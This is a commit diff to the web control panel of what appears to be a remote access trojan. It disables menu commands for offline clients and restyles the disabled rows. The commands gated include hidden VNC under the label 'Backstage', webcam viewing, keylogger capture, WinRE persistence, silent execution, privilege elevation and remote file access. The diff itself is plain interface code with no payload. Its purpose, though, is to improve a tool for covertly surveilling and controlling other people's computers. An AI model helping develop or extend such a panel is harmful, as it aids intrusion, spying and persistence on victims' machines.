make commands not work for offline clients besides those that can.
This commit is contained in:
@@ -175,6 +175,7 @@ function isClientOnline(clientId) {
|
|||||||
function applyMenuSupportRules(clientId) {
|
function applyMenuSupportRules(clientId) {
|
||||||
const platform = detectClientPlatform(clientId);
|
const platform = detectClientPlatform(clientId);
|
||||||
const isWindows = platform === "windows";
|
const isWindows = platform === "windows";
|
||||||
|
const isOnline = isClientOnline(clientId);
|
||||||
|
|
||||||
const setAvailability = (btn, enabled, reason) => {
|
const setAvailability = (btn, enabled, reason) => {
|
||||||
if (!btn) return;
|
if (!btn) return;
|
||||||
@@ -188,21 +189,21 @@ function applyMenuSupportRules(clientId) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
|
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
|
||||||
setAvailability(hvncBtn, isWindows, "Backstage is only supported on Windows clients.");
|
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
||||||
|
|
||||||
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
||||||
setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients.");
|
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
|
||||||
|
|
||||||
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||||
setAvailability(
|
setAvailability(
|
||||||
keyloggerBtn,
|
keyloggerBtn,
|
||||||
isWindows,
|
isOnline && isWindows,
|
||||||
"Keylogger capture is only fully supported on Windows clients.",
|
isOnline ? "Keylogger capture is only fully supported on Windows clients." : "Client is offline",
|
||||||
);
|
);
|
||||||
|
|
||||||
const winreBtn = menu.querySelector('[data-open="winre"]');
|
const winreBtn = menu.querySelector('[data-open="winre"]');
|
||||||
if (winreBtn) {
|
if (winreBtn) {
|
||||||
setAvailability(winreBtn, isWindows, "WinRE Persistence is only supported on Windows clients.");
|
setAvailability(winreBtn, isOnline && isWindows, isOnline ? "WinRE Persistence is only supported on Windows clients." : "Client is offline");
|
||||||
const label = winreBtn.querySelector("span");
|
const label = winreBtn.querySelector("span");
|
||||||
if (label) label.style.textDecoration = isWindows ? "" : "line-through";
|
if (label) label.style.textDecoration = isWindows ? "" : "line-through";
|
||||||
}
|
}
|
||||||
@@ -210,7 +211,26 @@ function applyMenuSupportRules(clientId) {
|
|||||||
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||||
if (elevateBtn) {
|
if (elevateBtn) {
|
||||||
elevateBtn.style.display = platform === "mac" ? "" : "none";
|
elevateBtn.style.display = platform === "mac" ? "" : "none";
|
||||||
|
if (platform === "mac") setAvailability(elevateBtn, isOnline, "Client is offline");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline");
|
||||||
|
setAvailability(menu.querySelector('[data-open="remotedesktop"]'), isOnline, "Client is offline");
|
||||||
|
setAvailability(menu.querySelector('[data-open="voice"]'), isOnline, "Client is offline");
|
||||||
|
setAvailability(menu.querySelector('[data-open="processes"]'), isOnline, "Client is offline");
|
||||||
|
setAvailability(menu.querySelector('[data-open="files"]'), isOnline, "Client is offline");
|
||||||
|
const silentExecBtn = menu.querySelector('[data-open="silent-exec"]');
|
||||||
|
if (silentExecBtn && !silentExecBtn.classList.contains("hidden")) {
|
||||||
|
setAvailability(silentExecBtn, isOnline, "Client is offline");
|
||||||
|
}
|
||||||
|
|
||||||
|
["remote-access", "monitoring", "system"].forEach(groupId => {
|
||||||
|
setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline");
|
||||||
|
});
|
||||||
|
|
||||||
|
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
|
||||||
|
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadCurrentUser() {
|
async function loadCurrentUser() {
|
||||||
|
|||||||
@@ -110,11 +110,16 @@ menuStyle.textContent = `
|
|||||||
-webkit-user-select: none;
|
-webkit-user-select: none;
|
||||||
transition: background 0.1s, color 0.1s;
|
transition: background 0.1s, color 0.1s;
|
||||||
}
|
}
|
||||||
.ctx-row:hover,
|
.ctx-row:hover:not([disabled]):not([aria-disabled="true"]),
|
||||||
.ctx-row.ctx-active {
|
.ctx-row.ctx-active:not([disabled]):not([aria-disabled="true"]) {
|
||||||
background: rgba(71,85,105,0.55);
|
background: rgba(71,85,105,0.55);
|
||||||
color: #f1f5f9;
|
color: #f1f5f9;
|
||||||
}
|
}
|
||||||
|
.ctx-row[disabled],
|
||||||
|
.ctx-row[aria-disabled="true"] {
|
||||||
|
opacity: 0.38;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
.ctx-row.ctx-active .ctx-chevron {
|
.ctx-row.ctx-active .ctx-chevron {
|
||||||
opacity: 1;
|
opacity: 1;
|
||||||
}
|
}
|
||||||
@@ -270,6 +275,7 @@ function isMobileMenu() {
|
|||||||
ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
|
ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
|
||||||
rowEl.addEventListener("mouseenter", () => {
|
rowEl.addEventListener("mouseenter", () => {
|
||||||
if (isMobileMenu()) return;
|
if (isMobileMenu()) return;
|
||||||
|
if (rowEl.disabled || rowEl.getAttribute("aria-disabled") === "true") return;
|
||||||
const groupId = rowEl.dataset.groupToggle;
|
const groupId = rowEl.dataset.groupToggle;
|
||||||
if (groupId) showSubmenu(groupId, rowEl);
|
if (groupId) showSubmenu(groupId, rowEl);
|
||||||
});
|
});
|
||||||
@@ -289,6 +295,7 @@ ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
|
|||||||
rowEl.addEventListener("click", (e) => {
|
rowEl.addEventListener("click", (e) => {
|
||||||
const groupId = rowEl.dataset.groupToggle;
|
const groupId = rowEl.dataset.groupToggle;
|
||||||
if (!groupId) return;
|
if (!groupId) return;
|
||||||
|
if (rowEl.disabled || rowEl.getAttribute("aria-disabled") === "true") return;
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
if (activeGroupId === groupId) { hideSubmenu(); } else { showSubmenu(groupId, rowEl); }
|
if (activeGroupId === groupId) { hideSubmenu(); } else { showSubmenu(groupId, rowEl); }
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user